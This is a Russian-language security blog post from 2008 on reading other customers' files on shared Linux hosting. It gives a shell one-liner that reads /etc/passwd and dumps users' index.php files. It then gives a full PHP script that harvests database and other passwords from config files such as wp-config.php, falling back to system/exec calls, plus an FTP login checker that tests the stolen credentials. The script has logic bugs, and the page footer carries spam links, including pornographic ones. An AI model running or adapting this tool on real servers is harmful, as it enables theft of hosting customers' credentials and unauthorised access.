SecureBlog

 
 

Обход ограничений на чтение файлов в linux

 

Дата: 03.05.2008, Категория: Взлома и защита

 

Если вы администратор хостинга или просто интересуетесь безопасностью веб серверов, хочу поведать вам о том, как злоумышленники могут получить доступ к "защищенной" информации ваших клиентов. Например, в случае получения web-шелла к одному из сайтов ваших клиентов.

Идейной основой для написания этого поста было сообщение человека с ником kostich на bugtraq.ru.

Все дело в том, что многие администраторы считают, что поставив на клиентские директории права r-x--x--x, нельзя читать файлы других клиентов. Они, мягко говоря, заблуждаются. Между прочим довольно частая ситуация на различных серверах хостинг компаний.

Что ж, перейдем к сути проблемы.
А вся проблема в том, что есть несколько способов, с помощью которых можно читать файлы других клиентов хостинга.

Сейчас я приведу несколько примеров для ознакомительных целей.

Способ №1 - Если у злоумышленника имеется ssh доступ к сайту.


В этом случае, он может поступить так:

for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/public_html/index.php; done|more

Построчно прочесть файл /etc/passwd, утилитой awk выделить из нее всех юзеров, дальше подставить их в шаблон домашней директории и пробовать читать файлы по маске. В данном случае, index.php.
Для этого нам нужно знать полный путь до домашней директории пользователя.
Минус этого способа в том, что не всегда хватает прав на чтение /etc/passwd.

Способ №2 - Если у злоумышленника имеется web-шелл, залитый на сайт.


Здесь все порядком проще. У злоумышленников есть возможность написать простенький php скрипт, который будет читать /etc/passwd и дальше выполнять функции, о которых я поясню чуть ниже.

Итак, напишем этот скрипт.

<?php
/*
  name: ********
  author: c0nst (http://secureblog.org)
*/
// функция, которая будет читать /etc/passwd
error_reporting(0); // выключаем вывод ошибок
set_time_limit(0); // не работает при safe_mode = on

$users = get_users();
$conf = array();
$pub = array();
$count = count($users);

for($i = 0; $i < $count; $i++) {
  $dirs = '/home/'.$users[$i].'/public_html/'; // путь до домашней диретории
  if(is_readable($dirs)) {
    array_push($users,$users[$i]);
    array_push($pub,$dirs);
  }
}
// выводим результат
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
echo "[~] Searching for passwords in config files...\n\n";
foreach ($users as $user) {
  $path = "/home/$user/public_html/";
  read_dir($path,$user);
}
echo "\n[+] Done\n";

// читаем директории
function read_dir($path,$username) {
  if ($handle = opendir($path)) {
    while(false !== ($file = readdir($handle))) {
      $fpath = "$path$file";
      if(($file != '.') and ($file != '..')) {
        if(is_readable($fpath)) {
          $dr = $fpath."/";
          if(is_dir($dr)){
            read_dir($dr,$username);
          } else {
            $config_files = array(
              "config.php","config.inc.php","conf.php",
              "settings.php","setup.php","dbconfig.php",
              "wp-config.php","configuration.php","connect.php",
              "db.inc.php","db.php","dbconnect.php",
              "index.php","common.php","config_global.php",
              "global.php","connect.inc.php","dbconnect.inc.php",
              "admin.php"); // массив с файлами, которые скрипт должен читать
            if(in_array(strtolower($file), $config_files)) {
              $pass = get_pass($fpath);
              if ($pass != '') {
                echo "[+] $fpath\n$pass\n";
              }
            }
          }
        }
      }
    }
  }
}

// функция для выдирания паролей из конфигов
function get_pass($link) {
  $config = fopen($link,'r');
  while(!feof($config)) {
    $line = fgets($config);
    // имена переменных которые нам интересны
      if (strstr($line,'pass') or strstr($line,'pwd')
      or strstr($line,'db_pass') or strstr($line,'dbpass')
      or strstr($line,'passwd')) {
        if (strrpos($line,'"')) {
          preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass); // выдираем пароль из переменной
          $pass = str_replace("]=\"","",$pass);
        } else {
          preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
          $pass = str_replace("]='","",$pass);
        }
      return $pass[2];
    }
  }
}

// читаем /etc/passwd и выдираем юзеров
function get_users() {
  $users = array();
  $rows = file('/etc/passwd');
  if(!$rows) {
    $rows = explode("\n", ex('cat /etc/passwd'));
  } else {
    die('Невозможно прочесть /etc/passwd');
  }
  foreach($rows as $string) {
    $user = explode(":",$string);
    if(substr($string,0,1)!='#') array_push($users,$user[0]);
  }
  return $users;
}
// в случае если file() запрещен, пробуем другие способы
function ex($cfe) {
  $etcpasswd = '';
  if (!empty($cfe)) {
    if(function_exists('system')) {
      ob_start();
      system($cfe);
      $etcpasswd = ob_get_contents();
      ob_end_clean();
    } elseif(function_exists('exec')) {
      exec($cfe,$etcpasswd);
      $etcpasswd = join("\n",$etcpasswd);
    } elseif(function_exists('shell_exec')) {
      $etcpasswd = shell_exec($cfe);
    } elseif(function_exists('passthru')) {
      ob_start();
      passthru($cfe);
      $etcpasswd = ob_get_contents();
      ob_end_clean();
    } elseif(is_resource($f = popen($cfe,'r'))) {
      $etcpasswd = '';
      while(!feof($f)) { $etcpasswd .= fread($f,1024); }
      pclose($f);
    }
  }
  return $etcpasswd;
}
?>



На первый взгляд выглядит ужасно, не правда ли? :) Но не все так страшно на самом деле. Сейчас я объясню принцип работы этого скрипта.

Для нача мы определимся, что он вообще делает? Основная задача этого скрипта - прочесть все доступные для чтения конфигурационные файлы в домашних директориях клиентов, затем с помощью регулярного выражения "выдрать" из заданных в скрипте переменных пароли и вывести на экран.

А теперь поподробнее о самих функциях скрипта. В начале мы читаем /etc/passwd с целью получения массива пользователей сервера, затем смотрим какие домашние директории мы можем прочесть. На этом первая часть скрипта заканчивается.

Дальее начинается самое интересное :)
С помощью функции read_dir() мы читаем все доступные public_html директории, затем ищем в них конфиги. Из этих конфигов мы "выдираем" пароли (к бд например) и выводим все это дело на экран.

На этом основные функции скрипта закончились. При желании, конечно, можно добавить туда функцию соединения по ftp протоколу с нашим пользователем и полученным паролем из конфига, например вот такую:
<?
function ftp_check($login,$pass) {
  $ftp = ftp_connect('127.0.0.1');
  if ($ftp) {
    $res = ftp_login($ftp,$login,$pass);
    if ($res) {
      echo '[OK] '.$login.':'.$pass." Success !\n";
    } else ftp_quit($ftp);
  }
}
?>


Да много еще чего можно придумать. Продолжение следует.

 


Silver Ghost 04.05.2008
Вовремя я закрыл эту дырку в ПХП. :)
http://silverghost.org.ua/2008/04/03/dopolnitelnaya-zashhita-veb-servera/


Victor 04.05.2008
Сразу видно писался скрипт не для блога :).

Вообще, не хватает объяснения что именно и почему неверно настроено в правах на хостинг площадке и как это закрыть, исходя из описанной ситуации. А то вот я, например, не PHPшник и код мне мало о чем говорит. Как Unix админ я тоже так себе, но с задачей настройки прав на своем хостинге сталкивался. Но все равно не шибко из поста понимаю в чем состоит описываемая проблема и как от неё избавиться.


c0nst 04.05.2008
Victor, написал ответ на твой вопрос в новом посте, т.к. здесь бы все не вместилось :)
ссылка - http://secureblog.org/pub/zashita_fajlov_v_linux.html


Добавить комментарий

Заполните обязательные поля формы

Имя (*) Сайт

 

О блоге

  • Освещение проблем безопасности web приложений и серверов. Поисковая оптимизация.
    Ник: c0nst
    icq: 331699888

 

Рубрики

свой бизнес грузоперевозки

RSS-лента

Друзья и партнеры

Трускавець

Счетчики

  • Rambler's Top100
  • Рейтинг@Mail.ru
частный детектив поможет найти людей. SEO News. ביטוח משכנתא. החלפת לינקים. анальное порно. בית קפה מסעדות. discount insurance. הובלות ראש העין|! регистрация в белых каталогах.
© SecureBlog | Coded by c0nst